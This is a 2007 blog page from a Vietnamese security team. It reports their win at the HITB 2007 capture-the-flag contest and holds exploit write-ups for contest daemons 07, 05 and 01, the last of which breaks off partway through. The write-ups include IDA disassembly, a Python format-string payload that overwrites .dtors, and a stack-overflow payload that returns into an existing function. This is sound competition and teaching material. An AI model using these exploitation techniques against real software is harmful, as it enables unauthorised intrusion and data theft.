HITB 2007 CTF report

September 16, 2007 by longld · Leave a Comment 

We decided to join HITB 2007 CTF in Kualar Lumpur just after the VNSECON ‘07 in August. Our team, Sao Vang from vnSecurity, is the last (10th) team registered, and we had only 1 month to prepare for the competition. It’s unbelievable that we win the game!

Day 1 – 05/09

The game, which had been planned to start at 10:30 AM, was delayed because the organizer had not completed setting it up. Teams had to find something fun to do while waiting. We sat on the ground playing bzflag. Other guys checked email, or set up the hardware. We felt a bit nervous because there was only one network cable on each team’s table and other teams brought their own switch.

Finally, CTF crew announced the game would start at 2:00 PM. At 2:45pm, it really started. While the crew setting up vmware images (Gentoo 2007 hardened) for teams’ servers, some guys looked over their shoulders and captured (guessed) the root’s password. It’s a bad password (qwe123). We got it too ;).

The organizer sent out crackme1 for Windows and the main switch would only be plumbed after it had been cracked. I changed our root’s password, copied the vmware image for backup, tried to upload the tools to server with USB HDD, and ran the defense script while lamer and sieukhung were cracking the binary on their laptop. They took it down only within 20 minutes!

Then the game really started. The organizer announced the root password to all teams. Before that, one team (perhaps Qb1t?) had used it to accessed other servers, installed backdoor user (lalala?) and unwisely changed their root passwords. The organizer identified and removed it easily. We had also prepared a script just for this situation. Had we run install_backdoor script (silently, without changing root password), we could have owned most of the boxes. But then, where is the fun?

All teams started looking at the vulnerability daemons (01 to 08) and defending their servers. Some teams chown‘d all the flags so that no other team could get it, even the score server ;-). There was glitches in the score server. Only Sao Vang got positive defensive score while the rest got negative. After crackme1 was done, the organizer sent out crackme2 binary. By the end of day 1, no daemon was exploited and we earned 350 bonus points for crackme1.

There was not much to say about day 1 because it just happened in less than 3 hours. We managed to crack crackme1 and identified the vulnerabilities in some daemons. Our dreaded vmware host running on WinXP hang 2 times and continued to hang 3 or 4 times on day 2.

Day 1.5

We got back to our place and continued the job overnight. crackme2 (md5 crack) was solved first by sieukhung. Then, we found the vuln in daemon05 (trivial buffer overflow; shamelessly, we weren’t successful in exploiting it remotely) and daemon07 (trivial format string) but there were “bugs” that made them un-exploitable. After few hours, we could exploit daemon02 (vtable overwrite) and daemon04 (buffer overflow with multithreaded complication). We went to bed (and sofa ;)) at 4:30 AM and woke up at 7:30 AM. Crazyyy!

The next morning, while waiting for taxi, lamer managed to exploit daemon01 (reverse crc32 and buffer overflow). All of our exploits were coded by lamer with his excellent Python framework.

Day 2 – 06/09

The game started at 11:00 AM and ran smoothly.

It was more exciting on day 2. We continued to lead from the beginning by submitting crackme2 and getting flags from other servers. The organizer also sent out fixed binaries for daemon05 and daemon07.

After 2 hours, we raked in lots of points for captured flags from daemon 1, 2, 4, and 7. According to the detail score log, we should have gained breakthrough points for 5 daemons (daemon08 later) instead of 4 as displayed on the official score board and Padocon (from Korea) would have had no breakthrough. We guessed they just replayed our exploits. And maybe other teams did the same too. We raked in more than 3000 points while the next closest team 700.

After that, we settled down to work on daemon 3, 6 and 8. At 2:00 PM, the organizer sent out crackme3 and source code of daemon08. sieukhung cracked crackme3 in half an hour and we earned many bonus points (800). Right after that, lamer finished his work on daemon08 and we got breakthrough for it. We decided to take a break and have lunch with McDonald hamburgers (thanks BlueMood, and Valmont for your support). We intended to give up daemon 3 and 6 to play bzflag (hey, they had a crowded bzflag server there) till the game ended.

But WsLabi (from Switzerland) managed to decode daemon03 and got breakthrough for it. They also ran exploits for other daemons and earned many offensive points. We felt their hot breath when their offensive score was just one flag behind us. I thought there was something wrong with our exploits and reviewed them. We found out that exploit for daemon04 was stuck by blocking socket behavior. We changed it and got more points.

Team Army Strong had best defensive score at that time and it seemed like we could not get valid flags from them. When trying to run exploit for daemon08 against Army Strong, I found that the first byte of the flag changed from time to time. It inspired us to write a brute force script to submit score to the server and with just a few Python loops we successfully captured their flag (thank you Army Strong for this inspration ;)).

Some of our exploits were not really stable (e.g. daemon07), flag data sometimes were 40 bytes or more instead of 20 bytes (fixed flag’s length). We modified the above brute force script to submit flag in any size and raked in more points. By 4:30 PM the organizer set new flags for some daemons (they set new flags only 1 time on day 2) and we easily gained more offensive points with our scripts.

When there was only 30 minutes left, the organizer announced bonus points for crackmes’ and daemons’ exploits write-ups (brief). It was quite rush. We decided to shutdown the server because score server did not check for defensive things anymore and focus on write-ups. We submitted write-ups for all challenges we solved and got more than 1000 bonus points.

Finally, we won the 1st place with a total of 8900 points, with best offensive (5280), second-best defensive (510) and highest bonus (3110). WsLabi won the 2nd place with a total of 5540 points and Padocon came next with 3165.

Conclusion

  • The CTF this year was very interesting and attracted a lot of people (though it started late as normal)
  • Some teams had more than 3 players (4 to 6) and played in turn. It is more fun this way.
  • Best defensive strategy is to keep the daemons running and modify nothing.
  • Because defensive score is far lower than offensive score, “good” defensive strategy is to remove read permission from flags so that no other team can get it. “Best” defensive strategy is to follow Army Strong.
  • Capturing then replaying is a good offensive strategy and can help team win if they do it effectively.
  • python rox!
  • Team must plan and prepare well to have good result.

References

Credits

To all vnSecurity members

More detailed write ups will be posted at http://www.vnsecurity.net.

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Exploiting HITB 2007 Kuala Lumpur CTF Daemon 07

September 16, 2007 by lamer · Leave a Comment 

Analyzing main

There really is nothing to analyze here. It’s plain to see that the last printf was called without any format string.

.text:08048A8E main            proc near               ; DATA XREF: start+17↑o
.text:08048A8E
.text:08048A8E var_118         = dword ptr -118h
.text:08048A8E var_114         = dword ptr -114h
.text:08048A8E var_110         = dword ptr -110h
.text:08048A8E var_108         = dword ptr -108h
.text:08048A8E
.text:08048A8E                 push    ebp
.text:08048A8F                 mov     ebp, esp
.text:08048A91                 sub     esp, 118h       ; char *
.text:08048A97                 and     esp, 0FFFFFFF0h
.text:08048A9A                 mov     eax, 0
.text:08048A9F                 add     eax, 0Fh
.text:08048AA2                 add     eax, 0Fh
.text:08048AA5                 shr     eax, 4
.text:08048AA8                 shl     eax, 4
.text:08048AAB                 sub     esp, eax
.text:08048AAD                 mov     [esp+118h+var_118], offset aCodedByXwings_ ; "Coded By xWinGs. a code just to make yo"...
.text:08048AB4                 call    _printf
.text:08048AB9                 mov     [esp+118h+var_118], offset aSecretCode ; "Secret Code: "
.text:08048AC0                 call    _printf
.text:08048AC5                 mov     eax, ds:stdout
.text:08048ACA                 mov     [esp+118h+var_118], eax
.text:08048ACD                 call    _fflush
.text:08048AD2                 mov     [esp+118h+var_110], 100h
.text:08048ADA                 lea     eax, [ebp+var_108]
.text:08048AE0                 mov     [esp+118h+var_114], eax
.text:08048AE4                 mov     [esp+118h+var_118], 0
.text:08048AEB                 call    _read
.text:08048AF0                 mov     ds:dword_8052998, eax
.text:08048AF5                 mov     [esp+118h+var_110], offset aEtcFlagsDaemon ; "/etc/flags/daemon07.txt"
.text:08048AFD                 mov     eax, ds:dword_8052998
.text:08048B02                 mov     [esp+118h+var_114], eax
.text:08048B06                 lea     eax, [ebp+var_108]
.text:08048B0C                 mov     [esp+118h+var_118], eax
.text:08048B0F                 call    sub_80489C4
.text:08048B14                 mov     [esp+118h+var_118], offset aWrongCode_Debu ; "Wrong Code.\nDebug Input : "
.text:08048B1B                 call    _printf
.text:08048B20                 lea     eax, [ebp+var_108]
.text:08048B26                 mov     [esp+118h+var_118], eax
.text:08048B29                 call    <strong>_printf</strong>
.text:08048B2E                 mov     eax, 0
.text:08048B33                 leave
.text:08048B34                 retn
.text:08048B34 main            endp

Exploit it

So, it’s a simple format string exploit. We will overwrite the end of .dtors to point to the easter-egg function at 08048A32.

.text:08048A32 ; ---------------------------------------------------------------------------
.text:08048A32                 push    ebp
.text:08048A33                 mov     ebp, esp
.text:08048A35                 sub     esp, 48h
.text:08048A38                 mov     dword ptr [esp+4], offset aR ; "r"
.text:08048A40                 mov     dword ptr [esp], offset aEtcFlagsDaemon ; "/etc/flags/daemon07.txt"
.text:08048A47                 call    _fopen
.text:08048A4C                 mov     [ebp-0Ch], eax
.text:08048A4F                 mov     eax, [ebp-0Ch]
.text:08048A52                 mov     [esp+8], eax
.text:08048A56                 mov     dword ptr [esp+4], 20h
.text:08048A5E                 lea     eax, [ebp-38h]
.text:08048A61                 mov     [esp], eax
.text:08048A64                 call    _fgets
.text:08048A69                 mov     eax, [ebp-0Ch]
.text:08048A6C                 mov     [esp], eax
.text:08048A6F                 call    _fclose
.text:08048A74                 lea     eax, [ebp-38h]
.text:08048A77                 mov     [esp+4], eax
.text:08048A7B                 mov     dword ptr [esp], offset aS ; "\n%s"
.text:08048A82                 call    _printf
.text:08048A87                 mov     eax, 0
.text:08048A8C                 leave
.text:08048A8D                 retn

These few lines of Python code are all it takes to construct an exploit.

dtors_addr = 0x08052804
target_addr = 0x08048A32
offset = 8

junk_cnt0 = offset * 4
junk_cnt1 = (target_addr & 0xFFFF) - junk_cnt0
junk_cnt2 = 0x10000 + ((target_addr & 0xFFFF0000) >> 16) - junk_cnt1 - junk_cnt0

fmtstring = struct.pack("I", dtors_addr) + struct.pack("I", dtors_addr + 2) + "aaaa" * (offset - 2)
fmtstring += "%%.%dx%%%d$hn" % (junk_cnt1, offset)
fmtstring += "%%.%dx%%%d$hn" % (junk_cnt2, offset + 1)
fmtstring += "\n"
# send this string to port 7777, will ya?

Observation

Unlike daemon05, we need not flush the buffer in printf because when the daemon ends normally, this buffer is automatically flushed. And the daemon does end normally. Let’s find out why.

.dtors:08052800 _dtors          segment dword public 'DATA' use32
.dtors:08052800                 assume cs:_dtors
.dtors:08052800                 ;org 8052800h
.dtors:08052800                 db 0FFh
.dtors:08052801                 db 0FFh
.dtors:08052802                 db 0FFh
.dtors:08052803                 db 0FFh
.dtors:08052804                 db    0
.dtors:08052805                 db    0
.dtors:08052806                 db    0
.dtors:08052807                 db    0
.dtors:08052807 _dtors          ends
.dtors:08052807
.jcr:08052808 ; ---------------------------------------------------------------------------
.jcr:08052808
.jcr:08052808 ; Segment type: Pure data
.jcr:08052808 ; Segment permissions: Read/Write
.jcr:08052808 _jcr            segment dword public 'DATA' use32
.jcr:08052808                 assume cs:_jcr
.jcr:08052808                 ;org 8052808h
.jcr:08052808                 db    0
.jcr:08052809                 db    0
.jcr:0805280A                 db    0
.jcr:0805280B                 db    0
.jcr:0805280B _jcr            ends

Right after .dtors is .jcr which is filled with four 00, which incidentally is also the end marker for .dtors. So, when we overwrite 08052804 with the value 08048A32, we happen to insert a destructor to .dtors list. If .jcr were different, we would have to overwrite .jcr to point to the fflush code in main, which is at 08048AC5. This is still doable by extending our format string to have two more %hn overwrites.

Oh, and thank you, xWinGs, for these easy points.

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Exploiting HTIB 2007 Kuala Lumpur CTF Daemon 05

September 14, 2007 by lamer · Leave a Comment 

Identify main

Like the previous blog post, let’s start with the start function.

<b>.text:</b>080488B0                 public start
<b>.text:</b>080488B0 start           proc near
<b>.text:</b>080488B0                 <b>xor</b>     <b>ebp</b>, <b>ebp</b>
<b>.text:</b>080488B2                 <b>pop</b>     <b>esi</b>
<b>.text:</b>080488B3                 <b>mov</b>     <b>ecx</b>, <b>esp</b>
<b>.text:</b>080488B5                 <b>and</b>     <b>esp</b>, 0FFFFFFF0h
<b>.text:</b>080488B8                 <b>push</b>    <b>eax</b>
<b>.text:</b>080488B9                 <b>push</b>    <b>esp</b>
<b>.text:</b>080488BA                 <b>push</b>    <b>edx</b>
<b>.text:</b>080488BB                 <b>push</b>    offset sub_804C650
<b>.text:</b>080488C0                 <b>push</b>    offset sub_804C5F0
<b>.text:</b>080488C5                 <b>push</b>    <b>ecx</b>
<b>.text:</b>080488C6                 <b>push</b>    <b>esi</b>
<b>.text:</b>080488C7                 <b>push</b>    offset main
<b>.text:</b>080488CC                 <b>call</b>    ___libc_start_main

We identify the main function as the last argument to ___libc_start_main. So let’s get to it.

Analyze main

<b>.text:</b>08048ABE main            proc near               ; DATA XREF: start+17&uarr;o
<b>.text:</b>08048ABE
<b>.text:</b>08048ABE var_518         <b>=</b> <b>dword</b> <b>ptr</b> <b>-</b>518h
<b>.text:</b>08048ABE var_514         <b>=</b> <b>dword</b> <b>ptr</b> <b>-</b>514h
<b>.text:</b>08048ABE var_510         <b>=</b> <b>dword</b> <b>ptr</b> <b>-</b>510h
<b>.text:</b>08048ABE var_208         <b>=</b> <b>dword</b> <b>ptr</b> <b>-</b>208h
<b>.text:</b>08048ABE
<b>.text:</b>08048ABE                 <b>push</b>    <b>ebp</b>
<b>.text:</b>08048ABF                 <b>mov</b>     <b>ebp</b>, <b>esp</b>
<b>.text:</b>08048AC1                 <b>sub</b>     <b>esp</b>, 518h       ; char *
<b>.text:</b>08048AC7                 <b>and</b>     <b>esp</b>, 0FFFFFFF0h
<b>.text:</b>08048ACA                 <b>mov</b>     <b>eax</b>, 0
<b>.text:</b>08048ACF                 <b>add</b>     <b>eax</b>, 0Fh
<b>.text:</b>08048AD2                 <b>add</b>     <b>eax</b>, 0Fh
<b>.text:</b>08048AD5                 <b>shr</b>     <b>eax</b>, 4
<b>.text:</b>08048AD8                 <b>shl</b>     <b>eax</b>, 4
<b>.text:</b>08048ADB                 <b>sub</b>     <b>esp</b>, <b>eax</b>
<b>.text:</b>08048ADD                 <b>mov</b>     <b>[</b><b>esp</b><b>+</b>518h<b>+</b>var_518<b>]</b>, offset aCodedByXwings_ ; &quot;Coded By xWinGs. a code just to make yo&quot;...
<b>.text:</b>08048AE4                 <b>call</b>    _printf
<b>.text:</b>08048AE9                 <b>mov</b>     <b>[</b><b>esp</b><b>+</b>518h<b>+</b>var_518<b>]</b>, offset aSecretCode ; &quot;Secret Code: &quot;
<b>.text:</b>08048AF0                 <b>call</b>    _printf
<b>.text:</b>08048AF5                 <b>mov</b>     <b>eax</b>, <b>ds</b><b>:</b>stdout
<b>.text:</b>08048AFA                 <b>mov</b>     <b>[</b><b>esp</b><b>+</b>518h<b>+</b>var_518<b>]</b>, <b>eax</b>
<b>.text:</b>08048AFD                 <b>call</b>    _fflush
<b>.text:</b>08048B02                 <b>mov</b>     <b>[</b><b>esp</b><b>+</b>518h<b>+</b>var_510<b>]</b>, 200h
<b>.text:</b>08048B0A                 <b>lea</b>     <b>eax</b>, <b>[</b><b>ebp</b><b>+</b>var_208<b>]</b>
<b>.text:</b>08048B10                 <b>mov</b>     <b>[</b><b>esp</b><b>+</b>518h<b>+</b>var_514<b>]</b>, <b>eax</b>
<b>.text:</b>08048B14                 <b>mov</b>     <b>[</b><b>esp</b><b>+</b>518h<b>+</b>var_518<b>]</b>, 0
<b>.text:</b>08048B1B                 <b>call</b>    _read
<b>.text:</b>08048B20                 <b>mov</b>     <b>ds</b><b>:</b>dword_80529DC, <b>eax</b>
<b>.text:</b>08048B25                 <b>mov</b>     <b>[</b><b>esp</b><b>+</b>518h<b>+</b>var_510<b>]</b>, offset aEtcFlagsDaemon ; &quot;/etc/flags/daemon05.txt&quot;
<b>.text:</b>08048B2D                 <b>mov</b>     <b>eax</b>, <b>ds</b><b>:</b>dword_80529DC
<b>.text:</b>08048B32                 <b>mov</b>     <b>[</b><b>esp</b><b>+</b>518h<b>+</b>var_514<b>]</b>, <b>eax</b>
<b>.text:</b>08048B36                 <b>lea</b>     <b>eax</b>, <b>[</b><b>ebp</b><b>+</b>var_208<b>]</b>
<b>.text:</b>08048B3C                 <b>mov</b>     <b>[</b><b>esp</b><b>+</b>518h<b>+</b>var_518<b>]</b>, <b>eax</b>
<b>.text:</b>08048B3F                 <b>call</b>    sub_80489F4

First, a few calls to printf to advertise this is from xWinGs. Nothing fancy yet. Then a read of 0×200 (1024) bytes to var_208. So, let’s rename var_208 to input_buffer. And also note that input_buffer is the first item on the stack. After input_buffer there comes the frame pointer and a return address.

With the same reasoning as in the previous post, we also rename var_518 to first_arg, var_514 to second_arg, and var_510 to third_arg.

After the read is a check for score server packet. We’ll skip it. And here comes the juicy part.

<b>.text:</b>08048B44                 <b>mov</b>     <b>eax</b>, <b>ds</b><b>:</b>stdin
<b>.text:</b>08048B49                 <b>mov</b>     <b>[</b><b>esp</b><b>+</b>518h<b>+</b>third_arg<b>]</b>, <b>eax</b>
<b>.text:</b>08048B4D                 <b>mov</b>     <b>[</b><b>esp</b><b>+</b>518h<b>+</b>second_arg<b>]</b>, 300h
<b>.text:</b>08048B55                 <b>lea</b>     <b>eax</b>, <b>[</b><b>ebp</b><b>+</b>input_buffer<b>]</b>
<b>.text:</b>08048B5B                 <b>mov</b>     <b>[</b><b>esp</b><b>+</b>518h<b>+</b>first_arg<b>]</b>, <b>eax</b>
<b>.text:</b>08048B5E                 <b>call</b>    _fgets
<b>.text:</b>08048B63                 <b>mov</b>     <b>[</b><b>esp</b><b>+</b>518h<b>+</b>first_arg<b>]</b>, offset aWrongCode_ ; &quot;Wrong Code.\n&quot;
<b>.text:</b>08048B6A                 <b>call</b>    _printf
<b>.text:</b>08048B6F                 <b>mov</b>     <b>eax</b>, 0
<b>.text:</b>08048B74                 <b>leave</b>
<b>.text:</b>08048B75                 <b>retn</b>
<b>.text:</b>08048B75 main            endp

The next call is to fgets to read another, uhm, 0×300 bytes to input_buffer. And this is where overflow occurs. Remember that input_buffer is only 1024 byte long, and after it is the frame pointer and return address. So by overflowing input_buffer we are able to control the return address.

Ok, that’s all fine, but where do we want main to return to? A little digging around reveals this piece of unidentified code.

<b>.text:</b>08048A60 locret_8048A60<b>:</b>                         ; CODE XREF: sub_80489F4+29&uarr;j
<b>.text:</b>08048A60                 <b>leave</b>
<b>.text:</b>08048A61                 <b>retn</b>
<b>.text:</b>08048A61 sub_80489F4     endp
<b>.text:</b>08048A61
<b>.text:</b>08048A62 ; ---------------------------------------------------------------------------
<b>.text:</b>08048A62                 <b>push</b>    <b>ebp</b>
<b>.text:</b>08048A63                 <b>mov</b>     <b>ebp</b>, <b>esp</b>
<b>.text:</b>08048A65                 <b>sub</b>     <b>esp</b>, 48h
<b>.text:</b>08048A68                 <b>mov</b>     <b>dword</b> <b>ptr</b> <b>[</b><b>esp</b><b>+</b>4<b>]</b>, offset aR ; &quot;r&quot;
<b>.text:</b>08048A70                 <b>mov</b>     <b>dword</b> <b>ptr</b> <b>[</b><b>esp</b><b>]</b>, offset aEtcFlagsDaemon ; &quot;/etc/flags/daemon05.txt&quot;
<b>.text:</b>08048A77                 <b>call</b>    _fopen
<b>.text:</b>08048A7C                 <b>mov</b>     <b>[</b><b>ebp</b><b>-</b>0Ch<b>]</b>, <b>eax</b>
<b>.text:</b>08048A7F                 <b>mov</b>     <b>eax</b>, <b>[</b><b>ebp</b><b>-</b>0Ch<b>]</b>
<b>.text:</b>08048A82                 <b>mov</b>     <b>[</b><b>esp</b><b>+</b>8<b>]</b>, <b>eax</b>
<b>.text:</b>08048A86                 <b>mov</b>     <b>dword</b> <b>ptr</b> <b>[</b><b>esp</b><b>+</b>4<b>]</b>, 20h
<b>.text:</b>08048A8E                 <b>lea</b>     <b>eax</b>, <b>[</b><b>ebp</b><b>-</b>38h<b>]</b>
<b>.text:</b>08048A91                 <b>mov</b>     <b>[</b><b>esp</b><b>]</b>, <b>eax</b>
<b>.text:</b>08048A94                 <b>call</b>    _fgets
<b>.text:</b>08048A99                 <b>mov</b>     <b>eax</b>, <b>[</b><b>ebp</b><b>-</b>0Ch<b>]</b>
<b>.text:</b>08048A9C                 <b>mov</b>     <b>[</b><b>esp</b><b>]</b>, <b>eax</b>
<b>.text:</b>08048A9F                 <b>call</b>    _fclose
<b>.text:</b>08048AA4                 <b>lea</b>     <b>eax</b>, <b>[</b><b>ebp</b><b>-</b>38h<b>]</b>
<b>.text:</b>08048AA7                 <b>mov</b>     <b>[</b><b>esp</b><b>+</b>4<b>]</b>,;;; <b>eax</b>
<b>.text:</b>08048AAB                 <b>mov</b>     <b>dword</b> <b>ptr</b> <b>[</b><b>esp</b><b>]</b>, offset <b>aS</b> ; &quot;\n%s&quot;
<b>.text:</b>08048AB2                 <b>call</b>    _printf
<b>.text:</b>08048AB7                 <b>mov</b>     <b>eax</b>, 0
<b>.text:</b>08048ABC                 <b>leave</b>
<b>.text:</b>08048ABD                 <b>retn</b>
<b>.text:</b>08048ABE
<b>.text:</b>08048ABE ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦
<b>.text:</b>08048ABE
<b>.text:</b>08048ABE ; Attributes: bp-based frame
<b>.text:</b>08048ABE
<b>.text:</b>08048ABE main            proc near               ; DATA XREF: start+17&uarr;o
<b>.text:</b>08048ABE
<b>.text:</b>08048ABE first_arg       <b>=</b> <b>dword</b> <b>ptr</b> <b>-</b>518h
<b>.text:</b>08048ABE second_arg      <b>=</b> <b>dword</b> <b>ptr</b> <b>-</b>514h
<b>.text:</b>08048ABE third_arg       <b>=</b> <b>dword</b> <b>ptr</b> <b>-</b>510h
<b>.text:</b>08048ABE input_buffer    <b>=</b> <b>dword</b> <b>ptr</b> <b>-</b>208h

Look at 08048A62! It’s a function prologue. And indeed from 08048A62 to 08048ABD is a proper function! What great is that it opens, reads, and prints the flag out! This is so convenient!

Exploit it

Now, let’s gather what we’ve have. We can control where main returns to, and we know there’s a function that suits our purpose. Therefore, the challenge is… none. We just return to this function!

With that tactic, our exploit is as trivial as constructing a buffer containing all 08048A62. And how hard could it be? Two lines of Python code!

import struct
buffer = struct.pack("I", 0x08048A62) * 1000

Remotely exploit it

If you tried out the buffer above, you might find that it didn’t work remotely. This is because the easter-egg function uses printf to print out the flag. It is common knowledge that printf buffers its content. If the output stream is connected to a console window, the buffering is line-based, otherwise it is block-based. In our case, the output stream is connected to a socket, so the buffering is block-based. Usually, this block is 8 KBytes. Each call to the easter-egg only prints out about 20 bytes. So, to fill this buffer, we will need at least 409 calls to the easter-egg function, or we need to put in 409 * 4 = 0×664 bytes. However, only 0×300 bytes are read in. So this approach fails.

Another approach is to flush the stream after printf. Luckily, this is doable by returning to 08048AF5. At that address, there is a call to fflush on stdout. Again, we only use existing code.

In summary, in order to exploit daemon05 remotely, we will have to change our buffer to look like:

buffer = struct.pack("I", 0x08048A62) * 300 + "\xF5\x8A\x04\x08" + "\x0A"

Observation

Well, what should I say? Thank you, xWinGs, for this twisted fun!

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Exploiting HITB 2007 KL CTF Daemon 01

September 11, 2007 by lamer · Leave a Comment 

Identifying the main function

IDA will land us right here when it finishes analysis.

.text:08048830                 public start
.text:08048830 start           proc near
.text:08048830                 <b>xor</b>     ebp, ebp
.text:08048832                 <b>pop</b>     esi
.text:08048833                 <b>mov</b>     ecx, esp
.text:08048835                 <b>and</b>     esp, 0FFFFFFF0h
.text:08048838                 <b>push</b>    eax
.text:08048839                 <b>push</b>    esp
.text:0804883A                 <b>push</b>    edx
.text:0804883B                 <b>push</b>    offset sub_804C700
.text:08048840                 <b>push</b>    offset sub_804C6A0
.text:08048845                 <b>push</b>    ecx
.text:08048846                 <b>push</b>    esi
.text:08048847                 <b>push</b>    offset main
.text:0804884C                 <b>call</b>    ___libc_start_main

Notice at 08048847, I have renamed the function as main.

Analyzing main

Let’s get to main now. The function starts with:

.text:08048AA1 main            proc near               ; DATA XREF: start+17↑o
.text:08048AA1
.text:08048AA1 first_arg       = dword ptr -2F8h
.text:08048AA1 second_arg      = dword ptr -2F4h
.text:08048AA1 third_arg       = dword ptr -2F0h
.text:08048AA1 var_2EC         = dword ptr -2ECh
.text:08048AA1 var_2E8         = dword ptr -2E8h
.text:08048AA1 var_260         = dword ptr -260h
.text:08048AA1 num_read        = dword ptr -25Ch
.text:08048AA1 input_buffer    = dword ptr -258h
.text:08048AA1 var_4C          = dword ptr -4Ch
.text:08048AA1 filename        = dword ptr -48h
.text:08048AA1
.text:08048AA1                 <b>push</b>    ebp
.text:08048AA2                 <b>mov</b>     ebp, esp
.text:08048AA4                 <b>sub</b>     esp, 2F8h       ; fildes
.text:08048AAA                 <b>and</b>     esp, 0FFFFFFF0h
.text:08048AAD                 <b>mov</b>     eax, 0
.text:08048AB2                 <b>add</b>     eax, 0Fh
.text:08048AB5                 <b>add</b>     eax, 0Fh
.text:08048AB8                 <b>shr</b>     eax, 4
.text:08048ABB                 <b>shl</b>     eax, 4
.text:08048ABE                 <b>sub</b>     esp, eax
.text:08048AC0                 <b>mov</b>     [esp+2F8h+first_arg], offset static_buffer
.text:08048AC7                 <b>call</b>    sub_80489E2
.text:08048ACC                 <b>mov</b>     [esp+2F8h+third_arg], 200h
.text:08048AD4                 <b>mov</b>     [esp+2F8h+second_arg], 0
.text:08048ADC                 <b>lea</b>     eax, [ebp+input_buffer]
.text:08048AE2                 <b>mov</b>     [esp+2F8h+first_arg], eax
.text:08048AE5                 <b>call</b>    _memset
.text:08048AEA                 <b>mov</b>     [esp+2F8h+third_arg], 40h
.text:08048AF2                 <b>mov</b>     [esp+2F8h+second_arg], 0
.text:08048AFA                 <b>lea</b>     eax, [ebp+filename]
.text:08048AFD                 <b>mov</b>     [esp+2F8h+first_arg], eax
.text:08048B00                 <b>call</b>    _memset
.text:08048B05                 <b>mov</b>     [esp+2F8h+second_arg], offset aProcSelfMaps ; "/proc/self/maps"
.text:08048B0D                 <b>lea</b>     eax, [ebp+filename]
.text:08048B10                 <b>mov</b>     [esp+2F8h+first_arg], eax
.text:08048B13                 <b>call</b>    _strcpy
.text:08048B18                 <b>mov</b>     [esp+2F8h+third_arg], 400h
.text:08048B20                 <b>lea</b>     eax, [ebp+input_buffer]
.text:08048B26                 <b>mov</b>     [esp+2F8h+second_arg], eax
.text:08048B2A                 <b>mov</b>     [esp+2F8h+first_arg], 0
.text:08048B31                 <b>call</b>    _read
.text:08048B36                 <b>mov</b>     [ebp+num_read], eax
.text:08048B3C                 <b>cmp</b>     [ebp+num_read], 0FFFFFFFFh
.text:08048B43                 <b>jnz</b>     short loc_8048B5D
.text:08048B45                 <b>mov</b>     [esp+2F8h+first_arg], offset aRead ; "read"
.text:08048B4C                 <b>call</b>    _perror
.text:08048B51                 <b>mov</b>     [esp+2F8h+first_arg], 1
.text:08048B58                 <b>call</b>    _exit

Well, you may have noticed that the names are not what you have in your IDA listing. These names are my names given to those identifiers after analyzing the function. So let’s see how we could arrive to the same naming.

First, there is a call to sub_80489E2 and a static_buffer is passed to it. You will be right to guess this is some kind of initialization routine. Why static_buffer? Because it is static (located in .bss segment) and it is a buffer.

Next to it, some sort of buffer is reset to 0 with memset (0×200 bytes). Notice GCC uses mov instead of push to pass arguments to function. Some lowest (top) slots on the stack have been reserved for this purpose. So, a mov to the lowest slot is equivalent to the last push, or in other words, the first argument. And therefore I named the lowest slot first_arg, followed (logically) by second_arg and so on.

We see another buffer being reset to 0 (0×40 bytes). Then right after that, /proc/self/maps is strcpy‘d to that buffer. Well, let’s not waste anytime and mark it filename.

With one buffer marked, we still have one left. Luckily, the next call to read tells us that the remaining buffer should be named input_buffer. Right?

But, hey, wait, the read was for 0×400 bytes while input_buffer is only (0×258 – 0×4C) byte long. That is, if you fill input_buffer with (0×258 – 0×4C) bytes you will hit var_4C, and if you fill 4 bytes more than that, you will hit the beginning of filename. How wonderful! It gives you control over filename.

Let’s move on.

.text:08048B5D loc_8048B5D:                            ; CODE XREF: main+A2↑j
.text:08048B5D                 <b>mov</b>     [esp+2F8h+third_arg], offset aEtcFlagsDaemon ; "/etc/flags/daemon01.txt"
.text:08048B65                 <b>mov</b>     eax, [ebp+num_read]
.text:08048B6B                 <b>mov</b>     [esp+2F8h+second_arg], eax
.text:08048B6F                 <b>lea</b>     eax, [ebp+input_buffer]
.text:08048B75                 <b>mov</b>     [esp+2F8h+first_arg], eax
.text:08048B78                 <b>call</b>    is_from_server
.text:08048B7D                 <b>mov</b>     [esp+2F8h+third_arg], offset static_buffer
.text:08048B85                 <b>mov</b>     eax, [ebp+num_read]
.text:08048B8B                 <b>mov</b>     [esp+2F8h+second_arg], eax
.text:08048B8F                 <b>lea</b>     eax, [ebp+input_buffer]
.text:08048B95                 <b>mov</b>     [esp+2F8h+first_arg], eax
.text:08048B98                 <b>call</b>    CRC32
.text:08048B9D                 <b>mov</b>     [ebp+var_4C], eax
.text:08048BA0                 <b>cmp</b>     [ebp+var_4C], 0FEEDAFEDh
.text:08048BA7                 <b>jnz</b>     short loc_8048C25
.text:08048BA9                 <b>mov</b>     [esp+2F8h+second_arg], offset aR ; "r"
.text:08048BB1                 <b>lea</b>     eax, [ebp+filename]
.text:08048BB4                 <b>mov</b>     [esp+2F8h+first_arg], eax
.text:08048BB7                 <b>call</b>    _fopen
.text:08048BBC                 <b>mov</b>     [ebp+var_260], eax
.text:08048BC2                 <b>cmp</b>     [ebp+var_260], 0
.text:08048BC9                 <b>jz</b>      short loc_8048C25

Please just take it for granted that at 08048B78 is a call to process score server packets. So let’s skip it over and analyze the next call.

.text:08048A4C CRC32           proc near               ; CODE XREF: main+F7↓p
.text:08048A4C
.text:08048A4C var_8           = dword ptr -8
.text:08048A4C var_4           = dword ptr -4
.text:08048A4C arg_0           = dword ptr  8
.text:08048A4C arg_4           = dword ptr  0Ch
.text:08048A4C arg_8           = dword ptr  10h
.text:08048A4C
.text:08048A4C                 <b>push</b>    ebp
.text:08048A4D                 <b>mov</b>     ebp, esp
.text:08048A4F                 <b>sub</b>     esp, 8
.text:08048A52                 <b>mov</b>     [ebp+var_8], 0FFFFFFFFh
.text:08048A59                 <b>mov</b>     [ebp+var_4], 0
